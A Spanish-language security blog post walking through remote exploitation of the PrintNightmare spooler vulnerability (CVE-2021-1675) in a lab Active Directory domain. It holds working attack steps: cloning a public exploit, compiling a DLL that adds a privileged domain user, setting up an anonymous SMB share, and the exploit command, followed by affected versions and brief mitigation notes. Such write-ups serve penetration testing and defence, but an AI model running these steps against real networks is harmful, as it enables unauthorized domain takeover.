This page looks best with JavaScript enabled

La pesadilla de un Active Directory con PrintNightmare (CVE-2021-1675)

 ·   ·   4 min read  ·  Autor - Snifer

En esta entrada describo como realizar la explotación del CVE-2021-1675 bautizado como PrintNightmare en el cual los autores presentaran en el BlackHat el cual realiza una explotación escalando privilegios tanto de manera local y remota a traves del servicio spools que nuevamente viene a dar problemas.

Anoche mientras estaba entrando al sobre, lei sobre esta nueva vulnerabilidad y el exploit que ya era público, no pude ver con anterioridad hoy despues del trabajo me dispuse a ver el repositorio de cube0x0 que nos brinda una integración con impacket para realizar la explotación del mismo en esta entrada veremos como realizarlo siguiendo el uso de un exploit que nos permitira explotar la vulnerabilidad.

En la entrada veremos la explotación de manera remota conocido como RCE Remote Code Execution, puedes explotarlo de forma local y escalar privilegios el cual se llama LPE Local Privilege Escalation, (para explotar localmente se tiene una nueva implementación en CSharp con SharpPrintManager) los requisitos para que la misma sea funcional es que se encuentre ejecutando el servicio Spooler, este lleva lleva ya bastante tiempo siendo explotado recuerdan a Stuxnet más de 10 años. Este servicio permite reemplazar la dll propia por una externa del atacante permitiendo ejecutar remotamente o local. a

En la parte final de la entrada mencionamos los sistemas operativos afectados por lo cual el exploit tiene un mayor alcance.

Considerando que realizamos la creación de un usuario en un grupo privilegiado, si deseamos ser totalmente Ninjas contamos con la opción de realizarlo como lo explica en snovvcrash

Requerimientos para explotación en Dominio

  • Cuenta en dominio.
  • Maquina atacante Linux

Cuenta en Dominio

Para realizar la explotación requerimos contar con un usuario en dominio para esta prueba de concepto contamos con el usuario dino que forma parte del dominio dino.corp .

Privilegios usuario dino
Verificamos si existe el usuario que crearemos snifer en el dominio.

Ojo que basta que un usuario se autentique

Configuración de la máquina atacante

Configurando dependencias

Lo primero que necesitamos es contar con el repositorio en el equipo

1
git clone https://github.com/cube0x0/CVE-2021-1675.git

Si tienes instalado una versión anterior procede a desintalar, o tambien podrias utilizar un virtual enviroment para trabajar con la implementación de cube0x0 hasta que se encuentre en la rama principal de impacket.

1
2
3
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

DLL

Para la DLL en este caso se compilo desde linux con el siguiente comando, en este caso particular la dll nos permite crear un usuario y posteriormente asignarle permisos en un grupo privilegiado para autenticarnos posteriormente.

1
x86_64-w64-mingw32-gcc -shared -o pwned.dll pwned.cpp

Configurando SMB

Desde el equipo atacante se debe configurar el directorio a compartir por medio de SMB para ello nos dirigimos a /etc/sam/conf y con el editor de tu preferencia procedemos a adicionar las siguientes lineas.

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb] #Nombre del directorio a Compartir
    comment = Directorio compartido
    path = /home/snifer/pwned/ # localizacion a compartir
    available = yes
    browsable = yes
    writable = yes
    public = yes

Recuerda que debes de reiniciar el servicio antes de verificar el acceso anónimo.

Explotando el servicio

Después de tener el servicio de SMB para que se permita la autenticación de un usuario anonimo

python3 CVE-2021-1675.py DOMAIN/USER:PASSWORD@IP_DOMAIN '\\IP_SHARE\smb\pwned.dll'

Ejecución del Exploit

Después de ejecutar veremos que ya se tiene el usuario creado en Dominio con fines de explicar en la entrada se esta accediendo por medio de Powershell.

Verificando privilegios de Snifer

Verificamos con la herramienta que desees los privilegios del nuevo usuario.

Exploits públicos

En este apartado iremos agregando las diferentes PoCs e implementaciones que vayan saliendo sobre la vulnerabilidad.

Versiones de Windows afectados

  • Windows: 7, 8.1, 10, 10 20H2, 10 1607, 10 1809, 10 1909, 10 2004, RT 8.1
  • Windows Server: 2008, 2008 R2, 2012, 2012 R2, 2016, 2019, 2019 20H2, 2019 2004

Mitigación

Debido a que el parche de Microsoft aun no cumple con su cometido, contamos con algunas medidas compensatorias, por mi parte aun no realice una validación de estos, ten en cuenta que son soluciones no oficiales y puede afectar el comportamiento en un entorno productivo.

Recien crearon el siguiente diagrama con el cual puedes llegar a identificar gráficamente cuando es y no vulnerable un equipo.

Gracias a Jari por brinda los enlaces de mitigación y el modo Ninja para no generar ruido y alertas.

Regards,
Snifer

Share on
Support the author with

Avatar
WRITTEN BY
Snifer
Creador del proyecto Snifer@L4b's. Consultor en Seguridad Informática.